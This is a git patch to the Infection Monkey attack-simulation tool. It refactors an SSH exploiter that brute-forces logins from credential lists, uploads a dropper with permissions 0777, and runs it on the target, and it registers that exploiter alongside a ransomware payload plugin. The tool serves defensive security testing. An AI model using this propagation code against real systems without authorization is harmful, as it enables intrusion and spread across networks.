From f2b2a9c5c3a0fc91a8d5be635126493c08e55075 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 21 Feb 2022 10:56:31 +0100 Subject: [PATCH] Agent: Modify SSH exploit * Remove credential hashes from logs * Get rid of config and use brute_force utils * Use telemetry messenger to send attack telemetries * Zerologon and Powershell needs to be revised based on UT --- .../infection_monkey/exploit/HostExploiter.py | 14 +++-- monkey/infection_monkey/exploit/sshexec.py | 54 ++++++++++--------- monkey/infection_monkey/monkey.py | 5 +- monkey/infection_monkey/puppet/puppet.py | 10 ++-- .../infection_monkey/puppet/test_puppet.py | 15 ++++-- 5 files changed, 62 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 744ea57e8..017451188 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -1,10 +1,12 @@ import logging from abc import abstractmethod from datetime import datetime +from typing import Dict from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -26,7 +28,7 @@ class HostExploiter: def _EXPLOITED_SERVICE(self): pass - def __init__(self, host): + def __init__(self): self._config = WormConfiguration self.exploit_info = { "display_name": self._EXPLOITED_SERVICE, @@ -37,7 +39,9 @@ class HostExploiter: "executed_cmds": [], } self.exploit_attempts = [] - self.host = host + self.host = None + self.telemetry_messenger = None + self.options = {} def set_start_time(self): self.exploit_info["started"] = datetime.now().isoformat() @@ -71,7 +75,11 @@ class HostExploiter: } ) - def exploit_host(self): + def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict): + self.host = host + self.telemetry_messenger = telemetry_messenger + self.options = options + self.pre_exploit() result = None try: diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index a989ea66c..63f4c7bd9 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -14,6 +14,7 @@ from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) @@ -26,8 +27,8 @@ class SSHExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "SSH" - def __init__(self, host): - super(SSHExploiter, self).__init__(host) + def __init__(self): + super(SSHExploiter, self).__init__() self._update_timestamp = 0 def log_transfer(self, transferred, total): @@ -37,7 +38,10 @@ class SSHExploiter(HostExploiter): self._update_timestamp = time.time() def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: - user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() + user_ssh_key_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_ssh_keys"], + ) for user, ssh_key_pair in user_ssh_key_pairs: # Creating file-like private key for paramiko @@ -67,7 +71,10 @@ class SSHExploiter(HostExploiter): raise FailedExploitationError def exploit_with_login_creds(self, port) -> paramiko.SSHClient: - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_password_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_password_list"], + ) for user, current_password in user_password_pairs: @@ -76,23 +83,16 @@ class SSHExploiter(HostExploiter): try: ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) - logger.debug( - "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", - self.host, - user, - self._config.hash_sensitive_data(current_password), - ) + logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.report_login_attempt(True, user, current_password) return ssh except Exception as exc: logger.debug( - "Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", + "Error logging into victim %r with user" " %s: (%s)", self.host, user, - self._config.hash_sensitive_data(current_password), exc, ) self.report_login_attempt(False, user, current_password) @@ -159,37 +159,41 @@ class SSHExploiter(HostExploiter): with monkeyfs.open(src_path) as file_obj: ftp.putfo( file_obj, - self._config.dropper_target_path_linux, + self.options["dropper_target_path_linux"], file_size=monkeyfs.getsize(src_path), callback=self.log_transfer, ) - ftp.chmod(self._config.dropper_target_path_linux, 0o777) + ftp.chmod(self.options["dropper_target_path_linux"], 0o777) status = ScanStatus.USED - T1222Telem( - ScanStatus.USED, - "chmod 0777 %s" % self._config.dropper_target_path_linux, - self.host, - ).send() + self.telemetry_messenger.send_telemetry( + T1222Telem( + ScanStatus.USED, + "chmod 0777 %s" % self.options["dropper_target_path_linux"], + self.host, + ) + ) ftp.close() except Exception as exc: logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) status = ScanStatus.SCANNED - T1105Telem( - status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path - ).send() + self.telemetry_messenger.send_telemetry( + T1105Telem( + status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + ) + ) if status == ScanStatus.SCANNED: return False try: - cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, + self.options["dropper_target_path_linux"], self.host, cmdline, ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c8132e054..5c36b0278 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import ( MimikatzCredentialCollector, SSHCredentialCollector, ) +from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -194,7 +195,7 @@ class InfectionMonkey: return local_network_interfaces def _build_puppet(self) -> IPuppet: - puppet = Puppet() + puppet = Puppet(self.telemetry_messenger) puppet.load_plugin( "MimikatzCollector", @@ -213,6 +214,8 @@ class InfectionMonkey: puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER) + puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) return puppet diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index bea4695b3..1e4ce7e96 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -14,6 +14,7 @@ from infection_monkey.i_puppet import ( PostBreachData, ) +from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from .mock_puppet import MockPuppet from .plugin_registry import PluginRegistry @@ -21,9 +22,10 @@ logger = logging.getLogger() class Puppet(IPuppet): - def __init__(self) -> None: + def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None: self._mock_puppet = MockPuppet() self._plugin_registry = PluginRegistry() + self._telemetry_messenger = telemetry_messenger def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) @@ -56,10 +58,12 @@ class Puppet(IPuppet): fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER) return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) + # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: - return self._mock_puppet.exploit_host(name, host, options, interrupt) + exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER) + return exploiter.exploit_host(host, self._telemetry_messenger, options) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 950bc329b..54b9275ae 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -1,12 +1,19 @@ import threading from unittest.mock import MagicMock +import pytest + from infection_monkey.i_puppet import PluginType from infection_monkey.puppet.puppet import Puppet -def test_puppet_run_payload_success(monkeypatch): - p = Puppet() +@pytest.fixture +def mock_telemetry_messenger(): + return MagicMock() + + +def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger): + p = Puppet(mock_telemetry_messenger) payload = MagicMock() payload_name = "PayloadOne" @@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch): payload.run.assert_called_once() -def test_puppet_run_multiple_payloads(monkeypatch): - p = Puppet() +def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger): + p = Puppet(mock_telemetry_messenger) payload_1 = MagicMock() payload1_name = "PayloadOne"